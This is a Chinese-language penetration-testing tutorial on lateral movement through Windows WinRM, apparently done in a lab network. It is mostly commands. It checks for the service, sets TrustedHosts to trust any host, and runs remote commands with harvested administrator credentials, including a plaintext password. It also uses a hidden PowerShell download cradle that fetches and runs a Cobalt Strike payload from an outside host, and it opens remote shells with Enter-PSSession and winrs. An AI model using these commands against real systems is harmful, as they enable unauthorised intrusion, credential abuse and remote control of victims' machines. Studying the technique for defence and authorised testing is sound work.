0x01 winRM简介
WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985(http)或5986(https)。
winRM横向移动同时适用于工作组和域环境。
0x02 利用条件
1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对5986、5985端口开放。
0x03 通过winRM横向移动
一、查看本地和目标是否开放winRM服务
1、查看本地是否运行winRM服务。
netstat -ano |findstr 5985
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
2、查看目标是否运行winRM服务。
nmap -sV 192.168.3.73 -p5985,5986
3、查看目标机器的winRM服务是否工作正常,如图所示为正常。
powershell -exec bypass
Test-WsMan 192.168.3.73
二、通过winRM在目标主机上执行任意命令
命令执行
1、在第一次执行命令的时候,可能会报下列错误。
这时我们执行下列两条命令,将当前主机的trustedhosts设置为*,表示信任任意主机,之后重启winRM。
Set-Item WSMan:localhost\client\trustedhosts -value *
Restart-Service WinRM
2、设置完成后执行下列命令,输入之前收集到的密码。
Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { ipconfig } -credential administrator
命令执行成功。
3、直接执行cs payload,弹回一个cs beacon。
Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))" } -credential administrator
cs成功接收到会话。
反弹shell
1、通过Enter-PSSession直接弹回一个cmd shell。
Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator
反弹shell成功。
三、Windows内置工具winrs的使用
命令执行
winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "ipconfig"
反弹shell
winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "cmd"